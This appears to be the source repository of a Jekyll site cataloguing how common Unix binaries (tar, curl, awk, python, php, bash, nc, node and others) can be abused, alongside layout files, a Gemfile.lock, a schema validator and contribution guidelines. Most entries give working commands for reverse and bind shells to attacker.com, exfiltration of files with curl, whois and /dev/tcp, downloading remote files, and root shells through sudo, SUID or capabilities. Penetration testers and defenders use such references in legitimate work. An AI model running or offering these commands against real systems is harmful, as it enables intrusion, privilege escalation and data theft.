-cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 5 | - description: This only works for GNU tar. 6 | code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"' 7 | - description: This only works for GNU tar. It can be useful when only a limited command argument injection is available. 8 | code: | 9 | TF=$(mktemp) 10 | echo '/bin/sh 0<&1' > "$TF" 11 | tar cf "$TF.tar" "$TF" 12 | tar xf "$TF.tar" --to-command sh 13 | rm "$TF"* 14 | file-write: 15 | - description: This only works for GNU tar. 16 | code: | 17 | LFILE=file_to_write 18 | TF=$(mktemp) 19 | echo DATA > "$TF" 20 | tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P 21 | file-read: 22 | - description: This only works for GNU tar. 23 | code: | 24 | LFILE=file_to_read 25 | tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"' 26 | sudo: 27 | - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 28 | limited-suid: 29 | - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 30 | --- 31 | -------------------------------------------------------------------------------- /_gtfobins/curl.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-upload: 4 | - description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the `@` to send hard-coded data. 5 | code: | 6 | URL=http://attacker.com/ 7 | LFILE=file_to_send 8 | curl -X POST -d @$file_to_send $URL 9 | file-download: 10 | - description: Fetch a remote file via HTTP GET request. 11 | code: | 12 | URL=http://attacker.com/file_to_get 13 | LFILE=file_to_save 14 | curl $URL -o $LFILE 15 | file-read: 16 | - description: The file path must be absolute. 17 | code: | 18 | LFILE=/tmp/file_to_read 19 | curl file://$LFILE 20 | suid: 21 | - description: Fetch a remote file via HTTP GET request. 22 | code: | 23 | URL=http://attacker.com/file_to_get 24 | LFILE=file_to_save 25 | ./curl $URL -o $LFILE 26 | sudo: 27 | - description: Fetch a remote file via HTTP GET request. 28 | code: | 29 | URL=http://attacker.com/file_to_get 30 | LFILE=file_to_save 31 | sudo -E curl $URL -o $LFILE 32 | --- 33 | -------------------------------------------------------------------------------- /_layouts/bin.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: common 3 | --- 4 | 5 | {% capture bin_name %}{% include get_bin_name path=page.path %}{% endcapture %} 6 | 7 | {% include page_title.html title=bin_name %} 8 | 9 | {% include function_list.html bin=page %} 10 | 11 | {{ page.description | markdownify }} 12 | 13 | {% for function_pair in site.data.functions %} 14 | {% assign function_id = function_pair[0] %} 15 | {% assign function = function_pair[1] %} 16 | {% assign examples = page.functions[function_id] %} 17 | {% unless examples %}{% continue %}{% endunless %} 18 | 19 |

{{- function.label -}}

20 | {{ function.description | markdownify }} 21 | 22 | 43 | 44 | {% endfor %} 45 | -------------------------------------------------------------------------------- /_gtfobins/awk.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: awk 'BEGIN {system("/bin/sh")}' 5 | non-interactive-reverse-shell: 6 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 7 | code: | 8 | RHOST=attacker.com 9 | RPORT=12345 10 | awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { 11 | s = "/inet/tcp/0/" RHOST "/" RPORT; 12 | while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; 13 | while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' 14 | non-interactive-bind-shell: 15 | - description: Run `nc target.com 12345` on the attacker box to connect to the shell. 16 | code: | 17 | LPORT=12345 18 | awk -v LPORT=$LPORT 'BEGIN { 19 | s = "/inet/tcp/" LPORT "/0/0"; 20 | while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; 21 | while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' 22 | file-write: 23 | - code: | 24 | LFILE=file_to_write 25 | awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }' 26 | file-read: 27 | - code: | 28 | LFILE=file_to_read 29 | awk '//' "$LFILE" 30 | sudo: 31 | - code: sudo awk 'BEGIN {system("/bin/sh")}' 32 | limited-suid: 33 | - code: ./awk 'BEGIN {system("/bin/sh")}' 34 | --- 35 | -------------------------------------------------------------------------------- /_gtfobins/cpan.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: | 5 | `cpan` lets you execute perl commands with the `! command`. 6 | code: | 7 | cpan 8 | ! exec '/bin/bash' 9 | reverse-shell: 10 | - description: Run `nc -lvp RPORT` on the attacker box to receive the shell. 11 | code: | 12 | export RHOST=localhost 13 | export RPORT=9000 14 | cpan 15 | ! use Socket; my $i="$ENV{RHOST}"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");}; 16 | file-upload: 17 | - description: Serve files in the local folder running an HTTP server on port 8080. Install the dependency via `cpan HTTP::Server::Simple`. 18 | code: | 19 | cpan 20 | ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run(); 21 | file-download: 22 | - description: Fetch a remote file via an HTTP GET request and store it in `PWD`. 23 | code: | 24 | export URL=http://attacker.com/file_to_get 25 | cpan 26 | ! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch(); 27 | sudo: 28 | - code: | 29 | sudo cpan 30 | ! exec '/bin/bash' 31 | --- 32 | -------------------------------------------------------------------------------- /_gtfobins/ruby.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: ruby -e 'exec "/bin/sh"' 5 | reverse-shell: 6 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 7 | code: | 8 | export RHOST=attacker.com 9 | export RPORT=12345 10 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 11 | file-upload: 12 | - description: Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later. 13 | code: | 14 | export LPORT=8888 15 | ruby -run -e httpd . -p $LPORT 16 | file-download: 17 | - description: Fetch a remote file via HTTP GET request. 18 | code: | 19 | export URL=http://attacker.com/file_to_get 20 | export LFILE=file_to_save 21 | ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])' 22 | file-write: 23 | - code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }' 24 | file-read: 25 | - code: ruby -e 'puts File.read("file_to_read")' 26 | library-load: 27 | - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")' 28 | sudo: 29 | - code: sudo ruby -e 'exec "/bin/sh"' 30 | capabilities: 31 | - code: ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' 32 | --- 33 | -------------------------------------------------------------------------------- /_gtfobins/irb.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | irb 6 | exec '/bin/bash' 7 | reverse-shell: 8 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 9 | code: | 10 | export RHOST='127.0.0.1' 11 | export RPORT=9000 12 | irb 13 | require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end 14 | file-upload: 15 | - description: Serve files in the local folder running an HTTP server on port 8888. 16 | code: | 17 | irb 18 | require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start; 19 | file-download: 20 | - description: Fetch a remote file via HTTP GET request. 21 | code: | 22 | export URL=http://attacker.com/file_to_get 23 | export LFILE=file_to_save 24 | irb 25 | require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE']) 26 | file-write: 27 | - code: | 28 | irb 29 | File.open("file_to_write", "w+") { |f| f.write("DATA") } 30 | file-read: 31 | - code: | 32 | irb 33 | puts File.read("file_to_read") 34 | library-load: 35 | - code: | 36 | irb 37 | require "fiddle"; Fiddle.dlopen("lib.so") 38 | sudo: 39 | - code: | 40 | sudo irb 41 | exec '/bin/bash' 42 | --- 43 | -------------------------------------------------------------------------------- /_gtfobins/node.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' 6 | reverse-shell: 7 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 8 | code: | 9 | export RHOST=attacker.com 10 | export RPORT=12345 11 | node -e 'sh = require("child_process").spawn("/bin/sh"); 12 | net.connect(process.env.RPORT, process.env.RHOST, function () { 13 | this.pipe(sh.stdin); 14 | sh.stdout.pipe(this); 15 | sh.stderr.pipe(this); 16 | });' 17 | bind-shell: 18 | - description: Run `nc target.com 12345` on the attacker box to connect to the shell. 19 | code: | 20 | export LPORT=12345 21 | node -e 'sh = require("child_process").spawn("/bin/sh"); 22 | require("net").createServer(function (client) { 23 | client.pipe(sh.stdin); 24 | sh.stdout.pipe(client); 25 | sh.stderr.pipe(client); 26 | }).listen(process.env.LPORT);' 27 | suid: 28 | - code: | 29 | ./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});' 30 | sudo: 31 | - code: | 32 | sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' 33 | capabilities: 34 | - code: | 35 | ./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' 36 | --- 37 | -------------------------------------------------------------------------------- /_gtfobins/whois.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | `whois` hangs waiting for the remote peer to close the socket. 4 | functions: 5 | file-upload: 6 | - description: Send a text file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. The file has a trailing `$'\x0d\x0a'` and its length is limited by the maximum size of arguments. 7 | code: | 8 | RHOST=attacker.com 9 | RPORT=12345 10 | LFILE=file_to_send 11 | whois -h $RHOST -p $RPORT "`cat $LFILE`" 12 | - description: Send a binary file to a TCP port. Run `nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments. 13 | code: | 14 | RHOST=attacker.com 15 | RPORT=12345 16 | LFILE=file_to_send 17 | whois -h $RHOST -p $RPORT "`base64 $LFILE`" 18 | file-download: 19 | - description: Fetch remote text file from a remote TCP port. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. The file has instances of `$'\x0d'` stripped. 20 | code: | 21 | RHOST=attacker.com 22 | RPORT=12345 23 | LFILE=file_to_save 24 | whois -h $RHOST -p $RPORT > "$LFILE" 25 | - description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | nc -l -p 12345` on the attacker box to send the file. 26 | code: | 27 | RHOST=attacker.com 28 | RPORT=12345 29 | LFILE=file_to_save 30 | whois -h $RHOST -p $RPORT | base64 -d > "$LFILE" 31 | --- 32 | -------------------------------------------------------------------------------- /_gtfobins/nc.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | reverse-shell: 4 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. 5 | code: | 6 | RHOST=attacker.com 7 | RPORT=12345 8 | nc -e /bin/sh $RHOST $RPORT 9 | bind-shell: 10 | - description: Run `nc target.com 12345` on the attacker box to connect to the shell. This only works with netcat traditional. 11 | code: | 12 | LPORT=12345 13 | nc -l -p $LPORT -e /bin/sh 14 | file-upload: 15 | - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. 16 | code: | 17 | RHOST=attacker.com 18 | RPORT=12345 19 | LFILE=file_to_send 20 | nc $RHOST $RPORT < "$LFILE" 21 | file-download: 22 | - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. 23 | code: | 24 | LPORT=12345 25 | LFILE=file_to_save 26 | nc -l -p $LPORT > "$LFILE" 27 | sudo: 28 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. 29 | code: | 30 | RHOST=attacker.com 31 | RPORT=12345 32 | sudo nc -e /bin/sh $RHOST $RPORT 33 | limited-suid: 34 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. 35 | code: | 36 | RHOST=attacker.com 37 | RPORT=12345 38 | ./nc -e /bin/sh $RHOST $RPORT 39 | --- 40 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | addressable (2.5.2) 5 | public_suffix (>= 2.0.2, < 4.0) 6 | colorator (1.1.0) 7 | concurrent-ruby (1.1.3) 8 | em-websocket (0.5.1) 9 | eventmachine (>= 0.12.9) 10 | http_parser.rb (~> 0.6.0) 11 | eventmachine (1.2.7) 12 | ffi (1.9.25) 13 | forwardable-extended (2.6.0) 14 | http_parser.rb (0.6.0) 15 | i18n (0.9.5) 16 | concurrent-ruby (~> 1.0) 17 | jekyll (3.8.5) 18 | addressable (~> 2.4) 19 | colorator (~> 1.0) 20 | em-websocket (~> 0.5) 21 | i18n (~> 0.7) 22 | jekyll-sass-converter (~> 1.0) 23 | jekyll-watch (~> 2.0) 24 | kramdown (~> 1.14) 25 | liquid (~> 4.0) 26 | mercenary (~> 0.3.3) 27 | pathutil (~> 0.9) 28 | rouge (>= 1.7, < 4) 29 | safe_yaml (~> 1.0) 30 | jekyll-sass-converter (1.5.2) 31 | sass (~> 3.4) 32 | jekyll-watch (2.1.2) 33 | listen (~> 3.0) 34 | kramdown (1.17.0) 35 | liquid (4.0.1) 36 | listen (3.1.5) 37 | rb-fsevent (~> 0.9, >= 0.9.4) 38 | rb-inotify (~> 0.9, >= 0.9.7) 39 | ruby_dep (~> 1.2) 40 | mercenary (0.3.6) 41 | pathutil (0.16.2) 42 | forwardable-extended (~> 2.6) 43 | public_suffix (3.0.3) 44 | rb-fsevent (0.10.3) 45 | rb-inotify (0.9.10) 46 | ffi (>= 0.5.0, < 2) 47 | rouge (3.3.0) 48 | ruby_dep (1.5.0) 49 | safe_yaml (1.0.4) 50 | sass (3.7.2) 51 | sass-listen (~> 4.0.0) 52 | sass-listen (4.0.0) 53 | rb-fsevent (~> 0.9, >= 0.9.4) 54 | rb-inotify (~> 0.9, >= 0.9.7) 55 | 56 | PLATFORMS 57 | ruby 58 | 59 | DEPENDENCIES 60 | jekyll 61 | 62 | BUNDLED WITH 63 | 1.16.2 64 | -------------------------------------------------------------------------------- /_gtfobins/jrunscript.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: This tool is installed starting with Java SE 6. 3 | functions: 4 | shell: 5 | - code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')" 6 | reverse-shell: 7 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 8 | code: | 9 | export RHOST=attacker.com 10 | export RPORT=12345 11 | jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"'; 12 | var p=new java.lang.ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start(); 13 | var s=new java.net.Socket(host,port); 14 | var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); 15 | var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ 16 | while(pi.available()>0)so.write(pi.read()); 17 | while(pe.available()>0)so.write(pe.read()); 18 | while(si.available()>0)po.write(si.read()); 19 | so.flush();po.flush(); 20 | java.lang.Thread.sleep(50); 21 | try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' 22 | file-download: 23 | - description: Fetch a remote file via HTTP GET request. 24 | code: | 25 | export URL=http://attacker.com/file_to_get 26 | export LFILE=file_to_save 27 | jrunscript -e "cp('$URL','$LFILE')" 28 | file-write: 29 | - code: jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();' 30 | file-read: 31 | - code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read")); 32 | while ((line = br.readLine()) != null) { print(line); }' 33 | suid: 34 | - description: This has been found working in macOS but failing on Linux systems. 35 | code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')" 36 | sudo: 37 | - code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')" 38 | --- 39 | -------------------------------------------------------------------------------- /scripts/validate-schema.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import jsonschema 3 | import os 4 | import sys 5 | import yaml 6 | 7 | def parse_yaml(path): 8 | with open(path) as fs: 9 | text = fs.read() 10 | return yaml.load_all(text) 11 | 12 | def build_schema(): 13 | function_names = next(parse_yaml('_data/functions.yml')).keys() 14 | return { 15 | "definitions": { 16 | 'examples': { 17 | 'type': 'array', 18 | 'items': { 19 | 'type': 'object', 20 | 'properties': { 21 | 'description': {'type': 'string'}, 22 | 'code': {'type': 'string'} 23 | }, 24 | 'required': ['code'], 25 | 'additionalProperties': False 26 | }, 27 | 'minimum': 1 28 | } 29 | }, 30 | 'type': 'object', 31 | 'properties': { 32 | 'description': {'type': 'string'}, 33 | 'functions': { 34 | 'type': 'object', 35 | "patternProperties": { 36 | '|'.join(function_names): {'$ref': '#/definitions/examples'} 37 | }, 38 | 'additionalProperties': False 39 | } 40 | }, 41 | 'required': ['functions'], 42 | 'additionalProperties': False 43 | } 44 | 45 | def validate_directory(root): 46 | schema = build_schema() 47 | root, _, files = next(os.walk(root)) 48 | for name in files: 49 | if not name.endswith('.md'): 50 | continue 51 | path = os.path.join(root, name) 52 | data = parse_yaml(path) 53 | try: 54 | jsonschema.validate(next(data), schema) 55 | except jsonschema.exceptions.ValidationError as err: 56 | print('{}: {}'.format(name, err)) 57 | sys.exit(1) 58 | 59 | if __name__ == '__main__': 60 | validate_directory("_gtfobins/") 61 | -------------------------------------------------------------------------------- /_gtfobins/php.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | export CMD="/bin/sh" 6 | php -r 'system(getenv("CMD"));' 7 | - code: | 8 | export CMD="/bin/sh" 9 | php -r 'passthru(getenv("CMD"));' 10 | - code: | 11 | export CMD="/bin/sh" 12 | php -r 'print(shell_exec(getenv("CMD")));' 13 | - code: | 14 | export CMD="/bin/sh" 15 | php -r '$r=array(); exec(getenv("CMD"), $r); print(join("\\n",$r));' 16 | - code: | 17 | export CMD="/bin/sh" 18 | php -r '$h=@popen(getenv("CMD"),"r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }' 19 | command: 20 | - code: | 21 | export CMD="id" 22 | php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open(getenv("CMD"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}' 23 | reverse-shell: 24 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 25 | code: | 26 | export RHOST=attacker.com 27 | export RPORT=12345 28 | php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");' 29 | file-upload: 30 | - description: Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later. 31 | code: | 32 | LHOST=0.0.0.0 33 | LPORT=8888 34 | php -S $LHOST:$LPORT 35 | file-download: 36 | - description: Fetch a remote file via HTTP GET request. 37 | code: | 38 | export URL=http://attacker.com/file_to_get 39 | export LFILE=file_to_save 40 | php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);' 41 | suid: 42 | - code: | 43 | CMD="/bin/sh" 44 | ./php -r "pcntl_exec('/bin/sh', ['-p']);" 45 | sudo: 46 | - code: | 47 | CMD="/bin/sh" 48 | sudo php -r "system('$CMD');" 49 | capabilities: 50 | - code: | 51 | CMD="/bin/sh" 52 | ./php -r "posix_setuid(0); system('$CMD');" 53 | --- 54 | -------------------------------------------------------------------------------- /_gtfobins/ksh.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: ksh 5 | reverse-shell: 6 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 7 | code: | 8 | export RHOST=attacker.com 9 | export RPORT=12345 10 | ksh -c 'ksh -i > /dev/tcp/$RHOST/$RPORT 2>&1 0>&1' 11 | file-upload: 12 | - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. 13 | code: | 14 | export RHOST=attacker.com 15 | export RPORT=12345 16 | export LFILE=file_to_send 17 | ksh -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT' 18 | - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. 19 | code: | 20 | export RHOST=attacker.com 21 | export RPORT=12345 22 | export LFILE=file_to_send 23 | ksh -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT' 24 | file-download: 25 | - description: Fetch a remote file via HTTP GET request. 26 | code: | 27 | export RHOST=attacker.com 28 | export RPORT=12345 29 | export LFILE=file_to_get 30 | ksh -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \ 31 | 3<>/dev/tcp/$RHOST/$RPORT \ 32 | | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE' 33 | - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. 34 | code: | 35 | export RHOST=attacker.com 36 | export RPORT=12345 37 | export LFILE=file_to_get 38 | ksh -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE' 39 | file-write: 40 | - code: | 41 | export LFILE=file_to_write 42 | ksh -c 'echo DATA > $LFILE' 43 | file-read: 44 | - description: It trims trailing newlines. 45 | code: | 46 | export LFILE=file_to_read 47 | ksh -c 'echo "$(<$LFILE)"' 48 | - description: It trims trailing newlines. 49 | code: | 50 | export LFILE=file_to_read 51 | ksh -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"' 52 | suid: 53 | - code: ./ksh -p 54 | sudo: 55 | - code: sudo ksh 56 | --- 57 | -------------------------------------------------------------------------------- /contribute.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: page 3 | title: Contribute 4 | --- 5 | 6 | ## Structure 7 | 8 | Each GTFO binary is defined in a file in the [`_gtfobins/`] folder named as `.md`, such file consists only of a [YAML] front matter which describes the binary and its functions. 9 | 10 | The full syntax is the following: 11 | 12 | ``` 13 | --- 14 | description: Optional description of the binary 15 | functions: 16 | FUNCTION: 17 | - description: Optional description of the example 18 | code: Code of the example 19 | - .... 20 | FUNCTION: 21 | - description: Optional description of the example 22 | code: Code of the example 23 | - ... 24 | ... 25 | --- 26 | ``` 27 | 28 | Where `FUNCTION` is one of the values described in the [`_data/functions.yml`] file. 29 | 30 | Feel free to use any file in the [`_gtfobins/`] folder as an example. 31 | 32 | ## Pull request process 33 | 34 | Vendor software is accepted as well as standard Unix binaries. Binaries and techniques that only works on certain operating systems and versions are accepted and such limitations shall be noted in the `description` field. 35 | 36 | Before sending a pull request of a new binary or function, ensure the following: 37 | 38 | 1. Verify the function works on at least one type of modern Unix system. 39 | 2. Classifying SUID-related functions is tricky because they depend on the default shell (i.e. Debian `/bin/sh` doesn't drop the privileges, other Linux default shells do it) and on how the external command is called (i.e. `exec()` family vs. `system()` calls). Here an helpful check: 40 | - The function is `suid-enabled` if runs external commands on Ubuntu Linux maintaining the SUID privileges. 41 | - The function is `suid-limited` if runs external commands on Debian maintaining the SUID privileges, but it drops them on Ubuntu Linux. 42 | - The function is not `suid-*` flagged if drops the privileges in Debian Linux. 43 | 3. Verify `sudo-enabled` function runs external commands under the `sudo` privileged context. 44 | 45 | Pull requests adding new functions in [`_data/functions.yml`] are allowed and subjected to project maintainers vetting. 46 | 47 | [YAML]: http://yaml.org/ 48 | [`_gtfobins/`]: https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 49 | [`_data/functions.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/functions.yml 50 | -------------------------------------------------------------------------------- /_gtfobins/python.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The payloads are compatible with both Python version 2 and 3. 3 | functions: 4 | shell: 5 | - code: python -c 'import os; os.system("/bin/sh")' 6 | reverse-shell: 7 | - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 8 | code: | 9 | export RHOST=attacker.com 10 | export RPORT=12345 11 | python -c 'import sys,socket,os,pty;s=socket.socket() 12 | s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) 13 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 14 | pty.spawn("/bin/sh")' 15 | file-upload: 16 | - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. 17 | code: | 18 | export URL=http://attacker.com/ 19 | export LFILE=file_to_send 20 | python -c 'import sys; from os import environ as e 21 | if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u 22 | else: import urllib as u, urllib2 as r 23 | r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' 24 | - description: Serve files in the local folder running an HTTP server. 25 | code: | 26 | export LPORT=8888 27 | python -c 'import sys; from os import environ as e 28 | if sys.version_info.major == 3: import http.server as s, socketserver as ss 29 | else: import SimpleHTTPServer as s, SocketServer as ss 30 | ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' 31 | file-download: 32 | - description: Fetch a remote file via HTTP GET request. 33 | code: | 34 | export URL=http://attacker.com/file_to_get 35 | export LFILE=file_to_save 36 | python -c 'import sys; from os import environ as e 37 | if sys.version_info.major == 3: import urllib.request as r 38 | else: import urllib as r 39 | r.urlretrieve(e["URL"], e["LFILE"])' 40 | file-write: 41 | - code: python -c 'open("file_to_write","w+").write("DATA")' 42 | file-read: 43 | - code: python -c 'print(open("file_to_read").read())' 44 | library-load: 45 | - code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' 46 | suid: 47 | - code: ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")' 48 | sudo: 49 | - code: sudo python -c 'import os; os.system("/bin/sh")' 50 | capabilities: 51 | - code: ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' 52 | --- 53 | -------------------------------------------------------------------------------- /_gtfobins/bash.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: bash 5 | reverse-shell: 6 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 7 | code: | 8 | export RHOST=attacker.com 9 | export RPORT=12345 10 | bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1' 11 | file-upload: 12 | - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. 13 | code: | 14 | export RHOST=attacker.com 15 | export RPORT=12345 16 | export LFILE=file_to_send 17 | bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT' 18 | - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. 19 | code: | 20 | export RHOST=attacker.com 21 | export RPORT=12345 22 | export LFILE=file_to_send 23 | bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT' 24 | file-download: 25 | - description: Fetch a remote file via HTTP GET request. 26 | code: | 27 | export RHOST=attacker.com 28 | export RPORT=12345 29 | export LFILE=file_to_get 30 | bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \ 31 | 3<>/dev/tcp/$RHOST/$RPORT \ 32 | | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE' 33 | - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. 34 | code: | 35 | export RHOST=attacker.com 36 | export RPORT=12345 37 | export LFILE=file_to_get 38 | bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE' 39 | file-write: 40 | - code: | 41 | export LFILE=file_to_write 42 | bash -c 'echo DATA > $LFILE' 43 | - description: This adds timestamps to the output file. 44 | code: | 45 | LFILE=file_to_write 46 | HISTIGNORE='history *' 47 | history -c 48 | DATA 49 | history -w $LFILE 50 | file-read: 51 | - description: It trims trailing newlines and it's not binary-safe. 52 | code: | 53 | export LFILE=file_to_read 54 | bash -c 'echo "$(<$LFILE)"' 55 | - description: The read file content is surrounded by the current history content. 56 | code: | 57 | LFILE=file_to_read 58 | HISTTIMEFORMAT=$'\r\e[K' 59 | history -r $LFILE 60 | history 61 | suid: 62 | - code: "./bash -p" 63 | sudo: 64 | - code: sudo bash 65 | --- 66 | -------------------------------------------------------------------------------- /_layouts/common.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | {% if page.url != '/' %} 7 | {% if page.layout == 'bin' %} 8 | {{ page.title | downcase }} 9 | {% else %} 10 | {{ page.title }} 11 | {% endif %} 12 | | 13 | {% endif %} 14 | {{ site.title }} 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | {{ content }} 24 | 33 | 34 | 35 | 